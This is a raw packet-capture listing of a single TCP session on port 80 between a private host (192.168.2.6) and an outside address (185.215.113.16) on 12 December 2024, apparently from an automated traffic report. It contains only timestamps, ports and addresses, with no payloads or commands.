Dec 12, 2024 21:50:28.963929892 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.964873075 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.964946985 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.965069056 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.965121031 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.965945959 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.965985060 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.966025114 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.966104984 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.966953993 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.967000961 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.967071056 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.967154026 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.967967033 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.968007088 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.968069077 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.968143940 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.969058990 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.969140053 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.969157934 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.969194889 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.970083952 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.970145941 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.970227957 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.970314980 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.971123934 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.971163034 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.971251965 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.971292019 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.972182035 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.972218990 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.972259045 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.972297907 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.973217964 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.973269939 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.973361969 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.973486900 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.974272013 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.974342108 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.974483967 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.974520922 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.975368977 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.975410938 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.975436926 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.975477934 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.976577044 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.976620913 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.976628065 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.976672888 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.977611065 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.977680922 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.977768898 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.977812052 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.978925943 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.978970051 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.979224920 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.979337931 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.979917049 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.979974985 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.117125034 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.117229939 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.117252111 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.117300034 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.117388964 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.117434025 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.117741108 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.117783070 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.117907047 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.118088961 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.118746996 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.118798018 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.118865967 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.119426012 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.119764090 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.119812012 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.119843960 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.119906902 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.120788097 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.120908022 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.120929003 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.120965958 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.121903896 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.121968985 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.121973038 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.122076035 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.122859955 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.122899055 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.123001099 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.123121023 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.123955011 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.124000072 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.124147892 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.124197960 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.124990940 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.125030994 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.125113010 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.125149012 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.126054049 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.126096964 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.126182079 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.126300097 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.127114058 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.127166986 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.127321005 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.127362967 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.128154993 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.128207922 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.128273010 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.128381968 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.129307985 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.129359007 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.129384995 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.129426956 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.130258083 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.130306959 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.130425930 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.130485058 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.131274939 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.131330967 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.131396055 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.131535053 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.132425070 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.132496119 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.132591009 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.132704020 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.133393049 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.133440971 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.133519888 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.133641958 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.134449005 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.134495020 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.134727001 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.135242939 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.135782957 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.135833979 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.136008024 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.136054993 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.136686087 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.136732101 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.136868000 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.136909962 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.137820005 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.137861967 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.137995958 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.138036013 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.138809919 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.138855934 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.138870955 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.138912916 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.139750957 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.139782906 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.139803886 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.139817953 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.140722036 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.140775919 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.140815020 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.141040087 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.141774893 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.141832113 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.141866922 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.142144918 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.142812014 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.142939091 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.142986059 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.143927097 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.143966913 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.144048929 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.144118071 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.145128965 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.145184040 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.145220041 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.145272970 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.146075964 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.146120071 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.146150112 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.146188021 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.147043943 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.147083998 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.147214890 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.147253036 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.148159981 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.148221016 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.148225069 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.148273945 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.149100065 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.149220943 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.149267912 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.150199890 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.150283098 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.150312901 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.150312901 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.151233912 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.151344061 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.151356936 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.151407003 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.152319908 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.152364969 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.152430058 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.152467966 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.153347015 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.153390884 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.153466940 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.153506041 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.154388905 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.154436111 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.154525995 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.154565096 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.155438900 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.155487061 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.155519009 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.155555964 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.156435013 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.156537056 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.156568050 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.156604052 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.157511950 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.157562971 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.157624960 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.157676935 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.158590078 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.158674955 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.158699989 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.158711910 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.159708977 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.159787893 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.159833908 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.160650015 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.160711050 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.160734892 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.160774946 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.161710024 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.161758900 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.161823034 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.161870956 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.162750959 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.162808895 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.162894011 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.163045883 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.163839102 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.163901091 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.163933039 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.163966894 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.164854050 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.164959908 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.164975882 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.164999008 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.165915966 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.165957928 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.166034937 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.166085005 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.166965961 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.167081118 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.167121887 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.168003082 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.168054104 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.168134928 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.168174028 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.169035912 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.169080019 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.169152975 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.169193029 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.170120955 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.170214891 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.170239925 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.170341015 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.171144009 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.171263933 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.171268940 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.171317101 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.309362888 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.309433937 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.309461117 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.309504032 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.309798002 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.309848070 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.310005903 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.310152054 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.310673952 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.310710907 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.310885906 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.310951948 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.311903954 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.311969995 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.312009096 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.312071085 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.312895060 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.312933922 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.313004017 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.313043118 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.313962936 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.314146996 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.314188957 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.315162897 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.315203905 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.315365076 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.315560102 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.316252947 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.316293001 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.316359043 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.317234993 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.317276955 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.317284107 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.317316055 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.318027020 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.318073988 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.318095922 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.318133116 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.319008112 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.319050074 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.319108963 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.319149971 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.320013046 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.320060015 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.320133924 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.320177078 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.321058989 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.321248055 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.321296930 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.322235107 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.322277069 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.322390079 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.322455883 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.323179960 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.323251963 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.323296070 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.324238062 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.324287891 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.324323893 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.325273991 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.325318098 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.325335979 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.325536013 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.326277018 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.326319933 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.326371908 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.326416969 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.327364922 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.327411890 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.327486992 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.327527046 CET	49919	80	192.168.2.6	185.215.113.16
